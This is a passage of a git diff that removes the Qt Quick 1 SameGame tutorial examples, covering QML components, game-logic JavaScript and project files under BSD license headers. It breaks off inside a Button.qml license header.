index eb315f1999..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame2/Block.qml +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: block - - Image { - id: img - anchors.fill: parent - source: "../shared/pics/redStone.png" - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame2/Button.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame2/Button.qml deleted file mode 100644 index 65880be7ac..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame2/Button.qml +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: container - - property string text: "Button" - - signal clicked - - width: buttonLabel.width + 20; height: buttonLabel.height + 5 - border { width: 1; color: Qt.darker(activePalette.button) } - smooth: true - radius: 8 - - // color the button with a gradient - gradient: Gradient { - GradientStop { - position: 0.0 - color: { - if (mouseArea.pressed) - return activePalette.dark - else - return activePalette.light - } - } - GradientStop { position: 1.0; color: activePalette.button } - } - - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: container.clicked(); - } - - Text { - id: buttonLabel - anchors.centerIn: container - color: activePalette.buttonText - text: container.text - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame.js b/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame.js deleted file mode 100644 index c749dc17b1..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame.js +++ /dev/null @@ -1,63 +0,0 @@ -//![0] -var blockSize = 40; -var maxColumn = 10; -var maxRow = 15; -var maxIndex = maxColumn * maxRow; -var board = new Array(maxIndex); -var component; - -//Index function used instead of a 2D array -function index(column, row) { - return column + (row * maxColumn); -} - -function startNewGame() { - //Delete blocks from previous game - for (var i = 0; i < maxIndex; i++) { - if (board[i] != null) - board[i].destroy(); - } - - //Calculate board size - maxColumn = Math.floor(background.width / blockSize); - maxRow = Math.floor(background.height / blockSize); - maxIndex = maxRow * maxColumn; - - //Initialize Board - board = new Array(maxIndex); - for (var column = 0; column < maxColumn; column++) { - for (var row = 0; row < maxRow; row++) { - board[index(column, row)] = null; - createBlock(column, row); - } - } -} - -function createBlock(column, row) { - if (component == null) - component = Qt.createComponent("Block.qml"); - - // Note that if Block.qml was not a local file, component.status would be - // Loading and we should wait for the component's statusChanged() signal to - // know when the file is downloaded and ready before calling createObject(). - if (component.status == Component.Ready) { - var dynamicObject = component.createObject(background); - if (dynamicObject == null) { - console.log("error creating block"); - console.log(component.errorString()); - return false; - } - dynamicObject.x = column * blockSize; - dynamicObject.y = row * blockSize; - dynamicObject.width = blockSize; - dynamicObject.height = blockSize; - board[index(column, row)] = dynamicObject; - } else { - console.log("error loading block component"); - console.log(component.errorString()); - return false; - } - return true; -} -//![0] - diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame.qml deleted file mode 100644 index 845993314a..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame.qml +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -//![2] -import "samegame.js" as SameGame -//![2] - -Rectangle { - id: screen - - width: 490; height: 720 - - SystemPalette { id: activePalette } - - Item { - width: parent.width - anchors { top: parent.top; bottom: toolBar.top } - - Image { - id: background - anchors.fill: parent - source: "../shared/pics/background.jpg" - fillMode: Image.PreserveAspectCrop - } - } - - Rectangle { - id: toolBar - width: parent.width; height: 32 - color: activePalette.window - anchors.bottom: screen.bottom - -//![1] - Button { - anchors { left: parent.left; verticalCenter: parent.verticalCenter } - text: "New Game" - onClicked: SameGame.startNewGame() - } -//![1] - - Text { - id: score - anchors { right: parent.right; verticalCenter: parent.verticalCenter } - text: "Score: Who knows?" - } - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame2.qmlproject b/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame2.qmlproject deleted file mode 100644 index 42ffacf4f8..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame2/samegame2.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "samegame.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame3/Block.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame3/Block.qml deleted file mode 100644 index 237a53f1d1..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame3/Block.qml +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Item { - id: block - - property int type: 0 - - Image { - id: img - - anchors.fill: parent - source: { - if (type == 0) - return "../shared/pics/redStone.png"; - else if (type == 1) - return "../shared/pics/blueStone.png"; - else - return "../shared/pics/greenStone.png"; - } - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame3/Button.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame3/Button.qml deleted file mode 100644 index 65880be7ac..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame3/Button.qml +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: container - - property string text: "Button" - - signal clicked - - width: buttonLabel.width + 20; height: buttonLabel.height + 5 - border { width: 1; color: Qt.darker(activePalette.button) } - smooth: true - radius: 8 - - // color the button with a gradient - gradient: Gradient { - GradientStop { - position: 0.0 - color: { - if (mouseArea.pressed) - return activePalette.dark - else - return activePalette.light - } - } - GradientStop { position: 1.0; color: activePalette.button } - } - - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: container.clicked(); - } - - Text { - id: buttonLabel - anchors.centerIn: container - color: activePalette.buttonText - text: container.text - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame3/Dialog.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame3/Dialog.qml deleted file mode 100644 index 29f1e142a3..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame3/Dialog.qml +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - id: container - - function show(text) { - dialogText.text = text; - container.opacity = 1; - } - - function hide() { - container.opacity = 0; - } - - width: dialogText.width + 20 - height: dialogText.height + 20 - opacity: 0 - - Text { - id: dialogText - anchors.centerIn: parent - text: "" - } - - MouseArea { - anchors.fill: parent - onClicked: hide(); - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame.js b/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame.js deleted file mode 100644 index 01edc5bd41..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame.js +++ /dev/null @@ -1,174 +0,0 @@ -/* This script file handles the game logic */ -var maxColumn = 10; -var maxRow = 15; -var maxIndex = maxColumn * maxRow; -var board = new Array(maxIndex); -var component; - -//Index function used instead of a 2D array -function index(column, row) { - return column + (row * maxColumn); -} - -function startNewGame() { - //Calculate board size - maxColumn = Math.floor(gameCanvas.width / gameCanvas.blockSize); - maxRow = Math.floor(gameCanvas.height / gameCanvas.blockSize); - maxIndex = maxRow * maxColumn; - - //Close dialogs - dialog.hide(); - - //Initialize Board - board = new Array(maxIndex); - gameCanvas.score = 0; - for (var column = 0; column < maxColumn; column++) { - for (var row = 0; row < maxRow; row++) { - board[index(column, row)] = null; - createBlock(column, row); - } - } -} - -function createBlock(column, row) { - if (component == null) - component = Qt.createComponent("Block.qml"); - - // Note that if Block.qml was not a local file, component.status would be - // Loading and we should wait for the component's statusChanged() signal to - // know when the file is downloaded and ready before calling createObject(). - if (component.status == Component.Ready) { - var dynamicObject = component.createObject(gameCanvas); - if (dynamicObject == null) { - console.log("error creating block"); - console.log(component.errorString()); - return false; - } - dynamicObject.type = Math.floor(Math.random() * 3); - dynamicObject.x = column * gameCanvas.blockSize; - dynamicObject.y = row * gameCanvas.blockSize; - dynamicObject.width = gameCanvas.blockSize; - dynamicObject.height = gameCanvas.blockSize; - board[index(column, row)] = dynamicObject; - } else { - console.log("error loading block component"); - console.log(component.errorString()); - return false; - } - return true; -} - -var fillFound; //Set after a floodFill call to the number of blocks found -var floodBoard; //Set to 1 if the floodFill reaches off that node - -//![1] -function handleClick(xPos, yPos) { - var column = Math.floor(xPos / gameCanvas.blockSize); - var row = Math.floor(yPos / gameCanvas.blockSize); - if (column >= maxColumn || column < 0 || row >= maxRow || row < 0) - return; - if (board[index(column, row)] == null) - return; - //If it's a valid block, remove it and all connected (does nothing if it's not connected) - floodFill(column, row, -1); - if (fillFound <= 0) - return; - gameCanvas.score += (fillFound - 1) * (fillFound - 1); - shuffleDown(); - victoryCheck(); -} -//![1] - -function floodFill(column, row, type) { - if (board[index(column, row)] == null) - return; - var first = false; - if (type == -1) { - first = true; - type = board[index(column, row)].type; - - //Flood fill initialization - fillFound = 0; - floodBoard = new Array(maxIndex); - } - if (column >= maxColumn || column < 0 || row >= maxRow || row < 0) - return; - if (floodBoard[index(column, row)] == 1 || (!first && type != board[index(column, row)].type)) - return; - floodBoard[index(column, row)] = 1; - floodFill(column + 1, row, type); - floodFill(column - 1, row, type); - floodFill(column, row + 1, type); - floodFill(column, row - 1, type); - if (first == true && fillFound == 0) - return; //Can't remove single blocks - board[index(column, row)].opacity = 0; - board[index(column, row)] = null; - fillFound += 1; -} - -function shuffleDown() { - //Fall down - for (var column = 0; column < maxColumn; column++) { - var fallDist = 0; - for (var row = maxRow - 1; row >= 0; row--) { - if (board[index(column, row)] == null) { - fallDist += 1; - } else { - if (fallDist > 0) { - var obj = board[index(column, row)]; - obj.y += fallDist * gameCanvas.blockSize; - board[index(column, row + fallDist)] = obj; - board[index(column, row)] = null; - } - } - } - } - //Fall to the left - var fallDist = 0; - for (var column = 0; column < maxColumn; column++) { - if (board[index(column, maxRow - 1)] == null) { - fallDist += 1; - } else { - if (fallDist > 0) { - for (var row = 0; row < maxRow; row++) { - var obj = board[index(column, row)]; - if (obj == null) - continue; - obj.x -= fallDist * gameCanvas.blockSize; - board[index(column - fallDist, row)] = obj; - board[index(column, row)] = null; - } - } - } - } -} - -//![2] -function victoryCheck() { - //Award bonus points if no blocks left - var deservesBonus = true; - for (var column = maxColumn - 1; column >= 0; column--) - if (board[index(column, maxRow - 1)] != null) - deservesBonus = false; - if (deservesBonus) - gameCanvas.score += 500; - - //Check whether game has finished - if (deservesBonus || !(floodMoveCheck(0, maxRow - 1, -1))) - dialog.show("Game Over. Your score is " + gameCanvas.score); -} -//![2] - -//only floods up and right, to see if it can find adjacent same-typed blocks -function floodMoveCheck(column, row, type) { - if (column >= maxColumn || column < 0 || row >= maxRow || row < 0) - return false; - if (board[index(column, row)] == null) - return false; - var myType = board[index(column, row)].type; - if (type == myType) - return true; - return floodMoveCheck(column + 1, row, myType) || floodMoveCheck(column, row - 1, board[index(column, row)].type); -} - diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame.qml deleted file mode 100644 index 51f51bed30..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame.qml +++ /dev/null @@ -1,109 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 -import "samegame.js" as SameGame - -Rectangle { - id: screen - - width: 490; height: 720 - - SystemPalette { id: activePalette } - - Item { - width: parent.width - anchors { top: parent.top; bottom: toolBar.top } - - Image { - id: background - anchors.fill: parent - source: "../shared/pics/background.jpg" - fillMode: Image.PreserveAspectCrop - } - -//![1] - Item { - id: gameCanvas - - property int score: 0 - property int blockSize: 40 - - width: parent.width - (parent.width % blockSize) - height: parent.height - (parent.height % blockSize) - anchors.centerIn: parent - - MouseArea { - anchors.fill: parent - onClicked: SameGame.handleClick(mouse.x, mouse.y) - } - } -//![1] - } - -//![2] - Dialog { - id: dialog - anchors.centerIn: parent - z: 100 - } -//![2] - - Rectangle { - id: toolBar - width: parent.width; height: 30 - color: activePalette.window - anchors.bottom: screen.bottom - - Button { - anchors { left: parent.left; verticalCenter: parent.verticalCenter } - text: "New Game" - onClicked: SameGame.startNewGame() - } - - Text { - id: score - anchors { right: parent.right; verticalCenter: parent.verticalCenter } - text: "Score: Who knows?" - } - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame3.qmlproject b/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame3.qmlproject deleted file mode 100644 index 42ffacf4f8..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame3/samegame3.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "samegame.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/BoomBlock.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/BoomBlock.qml deleted file mode 100644 index c196f23487..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/BoomBlock.qml +++ /dev/null @@ -1,122 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import Qt.labs.particles 1.0 - -Item { - id: block - - property int type: 0 - property bool dying: false - - //![1] - property bool spawned: false - - Behavior on x { - enabled: spawned; - SpringAnimation{ spring: 2; damping: 0.2 } - } - Behavior on y { - SpringAnimation{ spring: 2; damping: 0.2 } - } - //![1] - - //![2] - Image { - id: img - - anchors.fill: parent - source: { - if (type == 0) - return "../../shared/pics/redStone.png"; - else if (type == 1) - return "../../shared/pics/blueStone.png"; - else - return "../../shared/pics/greenStone.png"; - } - opacity: 0 - - Behavior on opacity { - NumberAnimation { properties:"opacity"; duration: 200 } - } - } - //![2] - - //![3] - Particles { - id: particles - - width: 1; height: 1 - anchors.centerIn: parent - - emissionRate: 0 - lifeSpan: 700; lifeSpanDeviation: 600 - angle: 0; angleDeviation: 360; - velocity: 100; velocityDeviation: 30 - source: { - if (type == 0) - return "../../shared/pics/redStar.png"; - else if (type == 1) - return "../../shared/pics/blueStar.png"; - else - return "../../shared/pics/greenStar.png"; - } - } - //![3] - - //![4] - states: [ - State { - name: "AliveState" - when: spawned == true && dying == false - PropertyChanges { target: img; opacity: 1 } - }, - - State { - name: "DeathState" - when: dying == true - StateChangeScript { script: particles.burst(50); } - PropertyChanges { target: img; opacity: 0 } - StateChangeScript { script: block.destroy(1000); } - } - ] - //![4] -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/Button.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/Button.qml deleted file mode 100644 index 65880be7ac..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/Button.qml +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt 